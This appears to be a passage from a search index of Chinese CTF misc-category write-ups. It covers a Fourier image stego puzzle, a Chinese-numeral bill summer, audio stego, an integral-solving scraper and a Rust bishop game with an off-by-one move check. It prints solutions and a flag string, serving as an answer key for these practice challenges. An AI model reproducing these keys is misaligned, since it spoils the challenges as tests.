\u5b9e\u9a8c\u65f6\uff0c\u5728\u5b9e\u9a8c\u5ba4\u7535\u8111\u7684\u6a21\u62df\u7a0b\u5e8f\u91cc\u53d1\u73b0\u4e86\u8fd9\u4e48\u4e00\u5f20\u7684\u56fe\u7247\uff1a \u6570\u7406\u57fa\u7840\u5e76\u4e0d\u624e\u5b9e\u7684\u5c0f P \u5e76\u4e0d\u77e5\u9053\u4ec0\u4e48\u4e1c\u897f\u6210\u50cf\u4f1a\u662f\u8fd9\u4e2a\u6837\u5b50\uff1a\u53c8\u6216\u8bb8\u4ec0\u4e48\u4e1c\u897f\u90fd\u4e0d\u662f\uff0c\u6bd5\u7adf\u8fd9\u53ea\u662f\u6a21\u62df ... \u4f46\u53ef\u4ee5\u786e\u5b9a\u7684\u662f\uff0c\u8fd9\u4e9b\u770b\u4f3c\u5947\u602a\u7684\u82b1\u7eb9\u91cc\u786e\u5b9e\u9690\u85cf\u7740\u4e00\u4e9b\u4fe1\u606f\uff0c\u6216\u8bb8\u662f\u5730\u4e0b\u91d1\u77ff\u7684\u85cf\u5b9d\u56fe\u4e5f\u672a\u53ef\u77e5\u3002 \u89e3\u9898\u601d\u8def \u00b6 \u9898\u76ee \u5085\u91cc\u53f6\u5149\u5b66 \u662f\u91cd\u70b9\uff0c\u53ef\u4ee5\u8003\u8651\u56fe\u7247\u662f\u5426\u7ecf\u8fc7\u5feb\u901f\u5085\u91cc\u53f6\u53d8\u6362 \u5c06\u56fe\u7247\u4e22\u5165\u5de5\u5177 Ejectamenta - WikkiMap \uff0c\u5e76\u8fdb\u884c\u5feb\u901f\u5085\u91cc\u53f6\u9006\u53d8\u6362\uff0c\u5f97\u5230\uff1a \u62fc\u63a5\u4e00\u4e0b\u5373\u53ef\u83b7\u5f97 Flag\uff1a flag{Fxurier_xptic_is_fun} \u53c2\u8003\u8d44\u6599 \u00b6 Stego Tricks - HackTricks","title":"\u6765\u81ea\u4e00\u6559\u7684\u56fe\u7247"},{"location":"misc/4f_system_middle/#_1","text":"\u5c0f P \u5728\u4e00\u6559\u505a \u5085\u91cc\u53f6\u5149\u5b66 \u5b9e\u9a8c\u65f6\uff0c\u5728\u5b9e\u9a8c\u5ba4\u7535\u8111\u7684\u6a21\u62df\u7a0b\u5e8f\u91cc\u53d1\u73b0\u4e86\u8fd9\u4e48\u4e00\u5f20\u7684\u56fe\u7247\uff1a \u6570\u7406\u57fa\u7840\u5e76\u4e0d\u624e\u5b9e\u7684\u5c0f P \u5e76\u4e0d\u77e5\u9053\u4ec0\u4e48\u4e1c\u897f\u6210\u50cf\u4f1a\u662f\u8fd9\u4e2a\u6837\u5b50\uff1a\u53c8\u6216\u8bb8\u4ec0\u4e48\u4e1c\u897f\u90fd\u4e0d\u662f\uff0c\u6bd5\u7adf\u8fd9\u53ea\u662f\u6a21\u62df ... \u4f46\u53ef\u4ee5\u786e\u5b9a\u7684\u662f\uff0c\u8fd9\u4e9b\u770b\u4f3c\u5947\u602a\u7684\u82b1\u7eb9\u91cc\u786e\u5b9e\u9690\u85cf\u7740\u4e00\u4e9b\u4fe1\u606f\uff0c\u6216\u8bb8\u662f\u5730\u4e0b\u91d1\u77ff\u7684\u85cf\u5b9d\u56fe\u4e5f\u672a\u53ef\u77e5\u3002","title":"\u9898\u76ee"},{"location":"misc/4f_system_middle/#_2","text":"\u9898\u76ee \u5085\u91cc\u53f6\u5149\u5b66 \u662f\u91cd\u70b9\uff0c\u53ef\u4ee5\u8003\u8651\u56fe\u7247\u662f\u5426\u7ecf\u8fc7\u5feb\u901f\u5085\u91cc\u53f6\u53d8\u6362 \u5c06\u56fe\u7247\u4e22\u5165\u5de5\u5177 Ejectamenta - WikkiMap \uff0c\u5e76\u8fdb\u884c\u5feb\u901f\u5085\u91cc\u53f6\u9006\u53d8\u6362\uff0c\u5f97\u5230\uff1a \u62fc\u63a5\u4e00\u4e0b\u5373\u53ef\u83b7\u5f97 Flag\uff1a flag{Fxurier_xptic_is_fun}","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/4f_system_middle/#_3","text":"Stego Tricks - HackTricks","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/account_bot/","text":"\u9898\u76ee \u00b6 \u5982\u540c\u5f80\u5e38\u4e00\u6837\uff0c\u4f60\u7684 npy \u7a81\u7136\u4e22\u7ed9\u4f60\u4e00\u4e2a\u8d2d\u7269\u8d26\u5355\uff1a\u201c\u6211\u4eca\u5929\u4e70\u4e86\u51e0\u4e2a\u5c0f\u73a9\u610f\uff0c\u4f60\u80fd\u5e2e\u6211\u7b97\u4e00\u4e0b\u4e00\u5171\u82b1\u4e86\u591a\u5c11\u94b1\u5417\uff1f\u201d \u4f60\u5fc3\u60f3\uff1a \u53c8\u53cc\u53d2\u53d5\u8981\u5f00\u59cb\u5403\u571f\u4e86 \u8fd9\u4e0d\u662f\u5f88\u7b80\u5355\u5417\uff1f\u7535\u5b50\u8868\u683c\u91cc\u9762\u4e00\u62d6\u52a8\u5c31\u7b97\u51fa\u6765\u4e86 \u53ea\u4e0d\u8fc7\u62ff\u5230\u8d26\u5355\u4e4b\u540e\u4f60\u624d\u6ce8\u610f\u5230\uff0c\u4f3c\u4e4e\u662f\u4e3a\u4e86\u5241\u624b\u65f6\u66f4\u52a0\u7684\u5b89\u5fc3\uff0c\u8fd9\u6b21\u7684\u8d26\u5355\u4e0a\u9762\u7684\u91d1\u989d\u5168\u4f7f\u7528\u4e86\u4e2d\u6587\u5927\u5199\u6570\u5b57 \u89e3\u9898\u601d\u8def \u00b6 \u4e3b\u8981\u662f\u5c06\u4e2d\u6587\u5927\u5199\u91d1\u989d\u8f6c\u5316\u4e3a\u6570\u5b57\u91d1\u989d\uff0c\u6c42\u548c\u4ea4\u7ed9 EXCEL \u5c31\u597d\u5566~w digit = [ '\u96f6' , '\u58f9' , '\u8d30' , '\u53c1' , '\u8086' , '\u4f0d' , '\u9646' , '\u67d2' , '\u634c' , '\u7396' ] tens = [ '\u62fe' , '\u4f70' , '\u4edf' , '\u4e07' ] yuan = [ '\u5143' , '\u89d2' , '\u5206' ] l = [] while True : try : l . append ( input ()) except EOFError : break for s in l : tmp , cnt , total = 0 , 0 , 0 for i in s : if i in digit : tmp += digit . index ( i ) elif i in tens : if tmp == 0 : tmp = 1 cnt += tmp * 10 ** ( tens . index ( i ) + 1 ) tmp = 0 elif i in yuan : if tmp : cnt += tmp tmp = 0 total += cnt * 10 ** ( - yuan . index ( i )) cnt = 0 print ( \" %.2f \" % total )","title":"\u4ece\u96f6\u5f00\u59cb\u7684\u8bb0\u8d26\u5de5\u5177\u4eba"},{"location":"misc/account_bot/#_1","text":"\u5982\u540c\u5f80\u5e38\u4e00\u6837\uff0c\u4f60\u7684 npy \u7a81\u7136\u4e22\u7ed9\u4f60\u4e00\u4e2a\u8d2d\u7269\u8d26\u5355\uff1a\u201c\u6211\u4eca\u5929\u4e70\u4e86\u51e0\u4e2a\u5c0f\u73a9\u610f\uff0c\u4f60\u80fd\u5e2e\u6211\u7b97\u4e00\u4e0b\u4e00\u5171\u82b1\u4e86\u591a\u5c11\u94b1\u5417\uff1f\u201d \u4f60\u5fc3\u60f3\uff1a \u53c8\u53cc\u53d2\u53d5\u8981\u5f00\u59cb\u5403\u571f\u4e86 \u8fd9\u4e0d\u662f\u5f88\u7b80\u5355\u5417\uff1f\u7535\u5b50\u8868\u683c\u91cc\u9762\u4e00\u62d6\u52a8\u5c31\u7b97\u51fa\u6765\u4e86 \u53ea\u4e0d\u8fc7\u62ff\u5230\u8d26\u5355\u4e4b\u540e\u4f60\u624d\u6ce8\u610f\u5230\uff0c\u4f3c\u4e4e\u662f\u4e3a\u4e86\u5241\u624b\u65f6\u66f4\u52a0\u7684\u5b89\u5fc3\uff0c\u8fd9\u6b21\u7684\u8d26\u5355\u4e0a\u9762\u7684\u91d1\u989d\u5168\u4f7f\u7528\u4e86\u4e2d\u6587\u5927\u5199\u6570\u5b57","title":"\u9898\u76ee"},{"location":"misc/account_bot/#_2","text":"\u4e3b\u8981\u662f\u5c06\u4e2d\u6587\u5927\u5199\u91d1\u989d\u8f6c\u5316\u4e3a\u6570\u5b57\u91d1\u989d\uff0c\u6c42\u548c\u4ea4\u7ed9 EXCEL \u5c31\u597d\u5566~w digit = [ '\u96f6' , '\u58f9' , '\u8d30' , '\u53c1' , '\u8086' , '\u4f0d' , '\u9646' , '\u67d2' , '\u634c' , '\u7396' ] tens = [ '\u62fe' , '\u4f70' , '\u4edf' , '\u4e07' ] yuan = [ '\u5143' , '\u89d2' , '\u5206' ] l = [] while True : try : l . append ( input ()) except EOFError : break for s in l : tmp , cnt , total = 0 , 0 , 0 for i in s : if i in digit : tmp += digit . index ( i ) elif i in tens : if tmp == 0 : tmp = 1 cnt += tmp * 10 ** ( tens . index ( i ) + 1 ) tmp = 0 elif i in yuan : if tmp : cnt += tmp tmp = 0 total += cnt * 10 ** ( - yuan . index ( i )) cnt = 0 print ( \" %.2f \" % total )","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/audio_frequency_stego/","text":"\u9898\u76ee \u00b6 What a mundane song, it's just the same note repeated over and over. But could there perhaps be two different notes? \u89e3\u9898\u601d\u8def \u00b6 \u7531\u9898\u610f\u63a8\u6d4b\u5e94\u8be5\u6709\u660e\u663e\u533a\u522b\u7684\u4e24\u79cd\u6ce2\u5f62 \u6253\u5f00 audio_frequency_stego.wav \u653e\u5927\u6ce2\u5f62\uff0c\u4e0d\u50cf Unpleasant music \u90a3\u6837\u6709\u660e\u663e\u7684 01 \u6ce2\u5f62 \u4f46\u7a0d\u7a0d\u7f29\u5c0f\u540e\uff0c\u5c31\u53ef\u4ee5\u53d1\u73b0\u6709\u4e24\u79cd\u4e0d\u4e00\u6837\u7684\u6ce2\u5f62\uff01\\(\u03a6\u03c9\u03a6)/ \u6839\u636e\u524d 8 \u4e2a 01 \u503c\uff0c\u53ef\u4ee5\u5224\u65ad\u5bc6\u5ea6\u8f83\u9ad8\u7684\u5bf9\u5e94 1\u3001\u5bc6\u5ea6\u8f83\u4f4e\u7684\u5bf9\u5e94 0\uff0c\u5e76\u5f97\u5230\u5b57\u6bcd f \uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u653e\u5fc3\u624b\u5de5\u83b7\u53d6\u540e\u7eed\u90e8\u5206\u4e86 (\u03a6\u02cb\u03c9\u02ca\u03a6)","title":"audio-frequency-stego"},{"location":"misc/audio_frequency_stego/#_1","text":"What a mundane song, it's just the same note repeated over and over. But could there perhaps be two different notes?","title":"\u9898\u76ee"},{"location":"misc/audio_frequency_stego/#_2","text":"\u7531\u9898\u610f\u63a8\u6d4b\u5e94\u8be5\u6709\u660e\u663e\u533a\u522b\u7684\u4e24\u79cd\u6ce2\u5f62 \u6253\u5f00 audio_frequency_stego.wav \u653e\u5927\u6ce2\u5f62\uff0c\u4e0d\u50cf Unpleasant music \u90a3\u6837\u6709\u660e\u663e\u7684 01 \u6ce2\u5f62 \u4f46\u7a0d\u7a0d\u7f29\u5c0f\u540e\uff0c\u5c31\u53ef\u4ee5\u53d1\u73b0\u6709\u4e24\u79cd\u4e0d\u4e00\u6837\u7684\u6ce2\u5f62\uff01\\(\u03a6\u03c9\u03a6)/ \u6839\u636e\u524d 8 \u4e2a 01 \u503c\uff0c\u53ef\u4ee5\u5224\u65ad\u5bc6\u5ea6\u8f83\u9ad8\u7684\u5bf9\u5e94 1\u3001\u5bc6\u5ea6\u8f83\u4f4e\u7684\u5bf9\u5e94 0\uff0c\u5e76\u5f97\u5230\u5b57\u6bcd f \uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u653e\u5fc3\u624b\u5de5\u83b7\u53d6\u540e\u7eed\u90e8\u5206\u4e86 (\u03a6\u02cb\u03c9\u02ca\u03a6)","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/basic_math_simulator/","text":"\u9898\u76ee \u00b6 \u89e3\u9898\u601d\u8def \u00b6 \u81ea\u5df1\u7b97\u7684\u8bdd\u4e00\u9053\u9898\u90fd\u7b97\u4e0d\u51fa\u6765(\u03a6\u76bf\u03a6) \u76f4\u63a5\u4f7f\u7528\u5f00\u53d1\u8005\u5de5\u5177\u67e5\u770b\u7f51\u9875\uff0c\u7b26\u53f7\u770b\u4e0a\u53bb\u90fd\u4e0d\u6613\u722c\u53d6\uff08\u5f53\u65f6\u6ca1\u6709\u7981\u6389 JS\uff09 \u4f7f\u7528 curl \u83b7\u53d6\u7f51\u9875\uff0c\u53d1\u73b0\u4f7f\u7528\u7684\u662f LaTex \u4f7f\u7528 sympy \u8ba1\u7b97\u5b9a\u79ef\u5206\uff0c LaTex \u6587\u672c\u53ef\u4ee5\u4f7f\u7528 parse_latex \u8f6c\u6362 import requests from lxml import etree from sympy import * from sympy.parsing.latex import parse_latex s = requests . session () base_url = '' token = '' s . get ( base_url + 'login?token=' + token ) x = symbols ( 'x' ) while True : r = s . get ( base_url ) while r . status_code != 200 : r = s . get ( base_url ) html = etree . HTML ( r . content ) rest = html . xpath ( '//h1[@class=\"cover-heading\"]' ) if rest : print ( rest [ 0 ] . text ) exp = html . xpath ( '/html/body/div/div/div/center/p' )[ 0 ] . text [ 2 : - 1 ] tmprg = exp . split ( ' ' )[ 0 ] rge = str ( parse_latex ( tmprg + '{d x}' ))[ 10 :] # \u622a\u6389 Integral(1 exp = parse_latex ( exp [ len ( tmprg ): exp . find ( '{d x}' )]) . subs ( symbols ( 'e' ), E ) ans = N ( \"Integral(\" + str ( exp ) + rge , 15 ) s . post ( base_url + 'submit' , data = { 'ans' : ans }) else : break r = s . get ( base_url ) print ( r . content ) parse_latex \u4f1a\u5c06\u5e38\u6570 \\({\\displaystyle e}\\) \u8bc6\u522b\u4e3a\u7b26\u53f7\uff0c\u9700\u8981\u8fdb\u884c\u66ff\u6362 parse_latex \u5bf9\u4e8e\u90e8\u5206 LaTex \u8868\u8fbe\u5f0f\u4f1a\u51fa\u73b0\u89e3\u6790\u9519\u8bef\u7684\u60c5\u51b5\uff0c\u56e0\u6b64\u4e0d\u80fd\u76f4\u63a5\u5bf9\u539f\u59cb\u8868\u8fbe\u5f0f\u4f7f\u7528\uff0c\u5982 \\(\\int_{2}^{\\frac{9}{2}} \\frac{1}{4} \\, x + 2 \\, \\sqrt{x} + \\frac{2}{x} - \\ln(x)\\,{d x}\\) \uff0c\u53ef\u4ee5\u770b\u5230\u2193\u9700\u8981\u8ba1\u7b97\u5b9a\u79ef\u5206\u7684\u533a\u57df\u5212\u5206\u9519\u4e86 >>> parse_latex(r'\\int_{2}^{\\frac{9}{2}} \\frac{1}{4} \\, x + 2 \\, \\sqrt{x} + \\frac{2}{x} - \\ln(x)\\,{d x}') -dx*log(x, E) + 2*sqrt(x) + x*Integral(1/4, (x, 2, 9/2)) + 2/x \u505a\u5b8c \\(400\\) \u9053\u9898\u5c31\u80fd\u62ff\u5230 Flag \u4e86(\u03a6\u02cb\u03c9\u02ca\u03a6)","title":"\u8d85\u57fa\u7840\u7684\u6570\u7406\u6a21\u62df\u5668"},{"location":"misc/basic_math_simulator/#_1","text":"","title":"\u9898\u76ee"},{"location":"misc/basic_math_simulator/#_2","text":"\u81ea\u5df1\u7b97\u7684\u8bdd\u4e00\u9053\u9898\u90fd\u7b97\u4e0d\u51fa\u6765(\u03a6\u76bf\u03a6) \u76f4\u63a5\u4f7f\u7528\u5f00\u53d1\u8005\u5de5\u5177\u67e5\u770b\u7f51\u9875\uff0c\u7b26\u53f7\u770b\u4e0a\u53bb\u90fd\u4e0d\u6613\u722c\u53d6\uff08\u5f53\u65f6\u6ca1\u6709\u7981\u6389 JS\uff09 \u4f7f\u7528 curl \u83b7\u53d6\u7f51\u9875\uff0c\u53d1\u73b0\u4f7f\u7528\u7684\u662f LaTex \u4f7f\u7528 sympy \u8ba1\u7b97\u5b9a\u79ef\u5206\uff0c LaTex \u6587\u672c\u53ef\u4ee5\u4f7f\u7528 parse_latex \u8f6c\u6362 import requests from lxml import etree from sympy import * from sympy.parsing.latex import parse_latex s = requests . session () base_url = '' token = '' s . get ( base_url + 'login?token=' + token ) x = symbols ( 'x' ) while True : r = s . get ( base_url ) while r . status_code != 200 : r = s . get ( base_url ) html = etree . HTML ( r . content ) rest = html . xpath ( '//h1[@class=\"cover-heading\"]' ) if rest : print ( rest [ 0 ] . text ) exp = html . xpath ( '/html/body/div/div/div/center/p' )[ 0 ] . text [ 2 : - 1 ] tmprg = exp . split ( ' ' )[ 0 ] rge = str ( parse_latex ( tmprg + '{d x}' ))[ 10 :] # \u622a\u6389 Integral(1 exp = parse_latex ( exp [ len ( tmprg ): exp . find ( '{d x}' )]) . subs ( symbols ( 'e' ), E ) ans = N ( \"Integral(\" + str ( exp ) + rge , 15 ) s . post ( base_url + 'submit' , data = { 'ans' : ans }) else : break r = s . get ( base_url ) print ( r . content ) parse_latex \u4f1a\u5c06\u5e38\u6570 \\({\\displaystyle e}\\) \u8bc6\u522b\u4e3a\u7b26\u53f7\uff0c\u9700\u8981\u8fdb\u884c\u66ff\u6362 parse_latex \u5bf9\u4e8e\u90e8\u5206 LaTex \u8868\u8fbe\u5f0f\u4f1a\u51fa\u73b0\u89e3\u6790\u9519\u8bef\u7684\u60c5\u51b5\uff0c\u56e0\u6b64\u4e0d\u80fd\u76f4\u63a5\u5bf9\u539f\u59cb\u8868\u8fbe\u5f0f\u4f7f\u7528\uff0c\u5982 \\(\\int_{2}^{\\frac{9}{2}} \\frac{1}{4} \\, x + 2 \\, \\sqrt{x} + \\frac{2}{x} - \\ln(x)\\,{d x}\\) \uff0c\u53ef\u4ee5\u770b\u5230\u2193\u9700\u8981\u8ba1\u7b97\u5b9a\u79ef\u5206\u7684\u533a\u57df\u5212\u5206\u9519\u4e86 >>> parse_latex(r'\\int_{2}^{\\frac{9}{2}} \\frac{1}{4} \\, x + 2 \\, \\sqrt{x} + \\frac{2}{x} - \\ln(x)\\,{d x}') -dx*log(x, E) + 2*sqrt(x) + x*Integral(1/4, (x, 2, 9/2)) + 2/x \u505a\u5b8c \\(400\\) \u9053\u9898\u5c31\u80fd\u62ff\u5230 Flag \u4e86(\u03a6\u02cb\u03c9\u02ca\u03a6)","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/bishop_duel/","text":"\u9898\u76ee \u00b6 2 bishops on the chessboard. Goal 1 (first flag) Lose the game by letting your bishop be captured. Goal 2 (second flag) Win by capturing the other bishop. Avoiding a draw is easy huh? But wait... Connect via nc bishop.sdc.tf 1337 main.rs use std :: io :: { stdout , Write }; use std :: process :: exit ; use std :: thread :: sleep ; use std :: time :: Duration ; /* * Can you tell this was my first rust program ever? lmao */ use crossterm :: { cursor , execute , queue , style , terminal :: { Clear , EnterAlternateScreen , LeaveAlternateScreen }}; use crossterm :: terminal :: ClearType ; use rand :: { rngs , SeedableRng }; use rand :: prelude :: SliceRandom ; use text_io :: read ; static TITLE_SCREEN : & str = \" o (^) -=H=- BISHOP DUEL ] [ -- press enter to start -- /___ \\\\ \" ; // having to double escape these backslashes makes this astoundingly ugly static BOARD : & str = \" \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ Q# - up left # spaces \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ E# - up right # spaces \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ Z# - down left # spaces \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ C# - down right # spaces \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ D - offer draw \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ R - resign \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ \" ; enum Direction { UpLeft , UpRight , DownLeft , DownRight } struct Bishop { position : u16 } impl Bishop { fn get_xy ( & self ) -> ( u16 , u16 ) { let rows = self . position / 8 + 1 ; return (( self . position % 8 ) * 3 + rows , rows ); } fn move_position ( & mut self , dir : Direction , dist : u16 ) -> bool { let position_multiplier : i32 = match dir { Direction :: UpRight => - 7 , Direction :: DownLeft => 7 , Direction :: UpLeft => - 9 , Direction :: DownRight => 9 , }; let new_position = i32 :: from ( self . position ) + position_multiplier * i32 :: from ( dist ); // make sure we don't exceed the bottom and top of the chessboard if new_position < 0 || new_position > 64 { return false ; } // make sure we don't exceed the left and right edge of the chessboard match dir { Direction :: UpLeft | Direction :: DownLeft => { if self . position % 8 < dist { return false ; } } Direction :: UpRight | Direction :: DownRight => { if dist + self . position % 8 > 8 { return false ; } } } self . position = u16 :: try_from ( new_position ). unwrap (); return true ; } } fn pause ( msg : & str ) -> String { println! ( \"{}\" , msg ); read ! ( \"{} \\n \" ) } fn main () { let mut stdout = stdout (); let mut is_player_turn = true ; let mut white_bishop = Bishop { position : 5 }; let mut black_bishop = Bishop { position : 57 }; queue ! ( stdout , EnterAlternateScreen , Clear ( ClearType :: All ), style :: Print ( TITLE_SCREEN )). unwrap (); stdout . flush (). unwrap (); pause ( \"\" ); loop { let ( bb_x , bb_y ) = black_bishop . get_xy (); let ( ww_x , ww_y ) = white_bishop . get_xy (); queue ! ( stdout , Clear ( ClearType :: All ), cursor :: MoveTo ( 0 , 0 ), style :: Print ( BOARD ), cursor :: MoveTo ( bb_x , bb_y ), style :: Print ( \"BB\" ), cursor :: MoveTo ( ww_x , ww_y ), style :: Print ( \"WW\" ), cursor :: MoveTo ( 0 , 10 ) ). unwrap (); stdout . flush (). unwrap (); // this means SOMEBODY has been captured if white_bishop . position == black_bishop . position { if is_player_turn { pause ( \"You have been defeated! Your flag is REDACTED\" ); exit ( 0 ); } pause ( \"You have claimed victory! Your flag is REDACTED\" ); exit ( 0 ); } if is_player_turn { // if its the white bishop's turn execute ! ( stdout , style :: Print ( \"You are the white bishop. Input move > \" )). unwrap (); let command : String = read ! ( \"{} \\n \" ); let mut command_chars = command . chars (); if let Some ( c1 ) = command_chars . next () { match c1 { 'r' | 'R' => { pause ( \"A brave bishop shall never resign!\" ); }, 'd' | 'D' => { execute ! ( stdout , style :: Print ( \"The black bishop is thinking.\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); execute ! ( stdout , style :: Print ( \".\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); execute ! ( stdout , style :: Print ( \".\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); pause ( \"Accepted! The game is a draw!\" ); break ; }, _ => { let direction : Direction = match c1 { 'e' | 'E' => Direction :: UpRight , 'z' | 'Z' => Direction :: DownLeft , 'q' | 'Q' => Direction :: UpLeft , 'c' | 'C' => Direction :: DownRight , _ => continue }; let distance = match command_chars . next () { None => continue , Some ( c2 ) => match c2 . to_digit ( 10 ) { None => continue , Some ( d ) => d as u16 } }; let successful = white_bishop . move_position ( direction , distance ); if successful { // now its the black bishop's turn is_player_turn = false ; } } } } } else { // black bishop's turn println! ( \"The black bishop is thinking...\" ); sleep ( Duration :: from_millis ( 1000 )); // get all black spaces and filter by currently accessible let curr = i32 :: from ( black_bishop . position ); let mut possible_positions = ( 0 .. 64 ). step_by ( 2 ) . map ( | i | if ( i / 8 ) % 2 == 0 { i } else { i + 1 }) . filter ( | i | ( curr - i ). abs () % 7 == 0 || ( curr - i ). abs () % 9 == 0 ). collect :: < Vec < i32 >> (); // if the white bishop is in our path, CRUSH THEM if possible_positions . contains ( & i32 :: from ( white_bishop . position )) { black_bishop . position = white_bishop . position ; is_player_turn = true ; continue ; } // otherwise, let's filter out moves that would put us in the path of the white bishop let white_curr = i32 :: from ( white_bishop . position ); if white_curr % 2 == 0 { possible_positions = possible_positions . into_iter () . filter ( | i | ( white_curr - i ) % 7 != 0 && ( white_curr - i ) % 9 != 0 ). collect :: < Vec < i32 >> (); } // otherwise, randomly select a new move let mut rng = rngs :: StdRng :: seed_from_u64 ( white_bishop . position as u64 ); let new_position = possible_positions . choose ( & mut rng ). unwrap (); black_bishop . position = u16 :: try_from ( * new_position ). unwrap (); // now its the white bishop's turn is_player_turn = true ; } } execute ! ( stdout , LeaveAlternateScreen ). unwrap (); } \u89e3\u9898\u601d\u8def \u00b6 \u4f7f\u7528 QEZC \u5728\u68cb\u76d8\u8303\u56f4\u5185\u79fb\u52a8\u65f6\uff0c\u7531\u4e8e\u8d70\u7684\u662f\u5bf9\u89d2\u7ebf\uff0c\u9ed1\u767d\u4e3b\u6559\u59cb\u7ec8\u5728\u5bf9\u5e94\u7c7b\u578b\uff08\u9ed1 / \u767d\uff09\u7684\u683c\u5b50\u5185\u79fb\u52a8\uff0c\u6ca1\u6709\u4ea4\u96c6 \\__\\\\\\\\__\\\\\\\\__\\WW\\__\\\\\\\\ Q# - up left # spaces \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ E# - up right # spaces \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ Z# - down left # spaces \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ C# - down right # spaces \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ D - offer draw \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ R - resign \\\\\\\\BB\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ \u60f3\u8981\u6293\u5230 black bishop \u6216\u8005\u88ab\u6293\u5230\uff0c\u9996\u5148\u8981\u79fb\u52a8\u5230\u540c\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u91cc \u90a3\u4e48\u5173\u952e\u70b9\u5c31\u662f\u51fd\u6570 move_position \u4e86\uff0c\u56e0\u4e3a\u79fb\u52a8\u5e76\u4e0d\u662f\u6309\u7167\u7c7b\u4f3c \\((x,y)\\) \u7684\u5750\u6807\u5f62\u5f0f\u3002\u5b9e\u9645\u4e0a\uff0c\u6bcf\u4e2a\u683c\u5b50\u7684\u4f4d\u7f6e\u76f8\u5f53\u4e8e\u6309\u7167\u5149\u6805\u626b\u63cf\u7684\u987a\u5e8f\u7f16\u53f7\uff0c\u6839\u636e \u5f53\u524d\u4f4d\u7f6e + \u5bf9\u5e94\u65b9\u5411\u7684\u7cfb\u6570 * \u79fb\u52a8\u683c\u6570 \u53d6\u5f97\u4e0b\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u7136\u540e\u5224\u65ad\u79fb\u52a8\u662f\u5426\u6709\u6548 \u65b0\u4f4d\u7f6e\u7684\u503c\u5e94\u5728 \\([0,64]\\) \u4e4b\u95f4 \u5982\u679c\u79fb\u52a8\u65b9\u5411\u4e3a\u5de6\u4e0a/\u5de6\u4e0b\uff0c\u90a3\u4e48\u79fb\u52a8\u683c\u6570\u4e0d\u5927\u4e8e\u5f53\u524d\u4f4d\u7f6e\u7684\u503c\u6a21 \\(8\\) \u5982\u679c\u79fb\u52a8\u65b9\u5411\u4e3a\u53f3\u4e0a/\u53f3\u4e0b\uff0c\u90a3\u4e48\u79fb\u52a8\u683c\u6570\u4e0e\u5f53\u524d\u4f4d\u7f6e\u503c\u6a21 \\(8\\) \u7684\u548c\u4e0d\u5927\u4e8e \\(8\\) \u4ee5\u521d\u59cb\u4f4d\u7f6e \\(5\\) \u4e3a\u4f8b\uff0c\u4e0a\u79fb\u4e00\u5b9a\u5bfc\u81f4\u4f4d\u7f6e\u503c\u5c0f\u4e8e \\(0\\) \uff0c\u6240\u4ee5\u53ea\u8003\u8651\u4e0b\u79fb \u53f3\u4e0b\u79fb\u52a8\u4e24\u683c\u4ee5\u5185\u663e\u7136\u662f\u53ef\u884c\u7684\uff0c\u4f46\u5982\u679c\u662f \\(3\\) \u683c\u5462\uff1f\u663e\u7136\u65b0\u4f4d\u7f6e\u7684\u503c\u4e0d\u4f1a\u8d85\u8fc7 \\(64(> 5+9\\times 3)\\) \uff0c\u800c \\(3+5 \\% 8\\) \u6070\u597d\u7b49\u4e8e \\(8\\) \uff0c\u6240\u4ee5\u53ef\u4ee5\u79fb\u52a8\uff0c\u5e76\u4e14\u4f1a\u8fdb\u5165 black_bishop \u7684\u79fb\u52a8\u8303\u56f4 \u03a6\u03c9\u03a6 \u5de6\u4e0b\u65b9\u5411\u6b63\u5e38\u53ef\u79fb\u52a8\u8303\u56f4\u5185\u7684\u683c\u5b50\u5c31\u6709\u4e94\u4e2a\u4e86\uff0c\u6240\u4ee5\u60f3\u8981\u5229\u7528\u5de6\u4e0b\u79fb\u52a8\u8df3\u5230\u53e6\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u662f\u4e0d\u53ef\u884c\u7684 \u2014v\u2014 \u79fb\u52a8\u5230\u540c\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u4e4b\u540e\uff0c\u518d\u73a9\u73a9\u6e38\u620f\u5c31\u80fd\u83b7\u5f97 Flag \u5566 \\(\u03a6\u03c9\u03a6 \u2261 \u03a6\u03c9\u03a6)/ Flag \u00b6 Goal 1 (first 